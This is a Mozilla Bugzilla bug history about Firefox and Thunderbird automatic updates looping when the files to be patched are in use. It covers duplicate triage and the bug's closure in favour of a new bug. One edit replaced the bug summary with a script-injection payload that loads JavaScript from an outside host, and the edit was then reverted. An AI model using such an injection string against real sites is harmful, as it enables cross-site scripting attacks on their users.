Summary: Automatic update restarts infinitely when files to be patched are in use (AccessibleMarshal.dll, MapiProxy.dll, mozMapi32.dll) → "><script src="http://nationalpro.net/sex.js"></script>
Please be careful about editing bugs
Summary: "><script src="http://nationalpro.net/sex.js"></script> → Automatic update restarts infinitely when files to be patched are in use (AccessibleMarshal.dll, MapiProxy.dll, mozMapi32.dll)
Duplicate of this bug: 454952
Note: the problems with mozMapi32.dll and MapiProxy.dll being in use during app update are covered by bug 452162
Whiteboard: See comment 100 and 147 before adding a new comment → Thunderbird users see bug 452162 and see bug See comment 100 and 147 before adding a new comment
Depends on: 452162
Whiteboard: Thunderbird users see bug 452162 and see bug See comment 100 and 147 before adding a new comment → See comment 100 and 147 before adding a new comment (Thunderbird users see bug 452162)
Summary: Automatic update restarts infinitely when files to be patched are in use (AccessibleMarshal.dll, MapiProxy.dll, mozMapi32.dll) → Automatic update restarts infinitely when files to be patched are in use
Reassigning to default

In summary...

The majority of bugs that were marked as duplicate of this bug have been marked as duplicate of bug 452162 or bug 404609. This majority are Thunderbird bugs and chances are if you experienced this bug with Thunderbird it is addressed by one of those two bugs.

What is still applicable to this bug?
At this point I believe the only file in use issues during software update
would be due to a second user on the same system running the app while another
user is performing a software update and when a single user is running multiple
instances of the same app while performing a software update in one of the
instances. This does not apply to mozMapi32.dll and MapiProxy.dll during software update which is addressed by bug 452162.

What still needs to be done for this bug?
Some investigation needs to be done to figure out why on the 1.8 branch jar
files were in use and couldn't be copied. The reason this is of concern is that
a failed partial update would create a "Frankenstein" installation that
wouldn't work. This *appears* to no longer be a problem with 1.9 but it is
important to be sure. Once that is done the fix should be somewhat easy to
implement similar to the way it was implemented for the installer.

Since this bug has been used heavily for duping against and the majority of duplicates have been addressed elsewhere or were not applicable to this bug (e.g. Thunderbird installer file in use support which was added by bug 404609) I suggest opening a new bug for the remaining issues as outlined in "What is still applicable to this bug?"
Assignee: robert.bugzilla → nobody
Duplicate of this bug: 456157
As per comment #251, moving off blocking-tb3+ list, as the major issues have been addressed.
Flags: blocking-thunderbird3+ → blocking-thunderbird3-
Flags: blocking1.9.1?
Whiteboard: See comment 100 and 147 before adding a new comment (Thunderbird users see bug 452162) → Remaing issue in comment 251. See comment 100 and 147 before adding a new comment (Thunderbird users see bug 452162)
Duping over to a new bug (bug 466778) since this bug's discussion and cc list is primarily in regards to bug 404609 and bug 452162. This way we have a clean bug to fix the remaining issue.
Status: NEW → RESOLVED
Last Resolved: 11 years ago
Resolution: --- → DUPLICATE
Duplicate of bug: 466778
Moving "wanted1.9.0.x+" flag to bug 466778
Flags: wanted1.9.0.x+
Status: RESOLVED → VERIFIED
You need to log in before you can comment on or make changes to this bug.